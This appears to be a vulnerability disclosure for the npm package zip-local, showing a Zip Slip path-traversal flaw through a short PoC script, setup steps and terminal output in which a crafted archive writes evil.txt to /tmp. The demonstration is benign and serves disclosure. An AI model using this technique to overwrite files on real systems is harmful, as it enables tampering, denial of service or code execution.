Description

zip-local is vulnerable to Arbitrary File Write via Archive Extraction (Zip Slip).

Proof of Concept

// PoC.js
var zipper = require('zip-local');
 
zipper.unzip("zipslip.zip", function(error, unzipped) {
 
    if(!error) {
        // extract to the current working directory
        unzipped.save(null, function() { });
 
        var unzippedfs = unzipped.memory();

    }
});

Execute the following commands

1. npm install zip-local # Install affected module
2. zipslip example file can be found at - https://github.com/snyk/zip-slip-vulnerability/blob/master/archives/zip-slip.zip 
3. node poc.js #  Run the PoC

Will extract "good.txt" to current directory and "evil.txt" to /tmp directory

┌──(noob㉿Hacking)-[~/node_modules/zip-local]
└─$ ls     
CHANGELOG.md  LICENSE  node_modules  poc.js     tests
libs          main.js  package.json  README.md  zipslip.zip
                                                             
┌──(noob㉿Hacking)-[~/node_modules/zip-local]
└─$ ls /tmp              
                                                             
┌──(noob㉿Hacking)-[~/node_modules/zip-local]
└─$ node poc.js     
                                                             
┌──(noob㉿Hacking)-[~/node_modules/zip-local]
└─$ ls                   
CHANGELOG.md  LICENSE       package.json  tests
good.txt      main.js       poc.js        zipslip.zip
libs          node_modules  README.md
                                                             
┌──(noob㉿Hacking)-[~/node_modules/zip-local]
└─$ ls /tmp    
evil.txt

Impact

It may lead to Information Disclosure/DoS/RCE.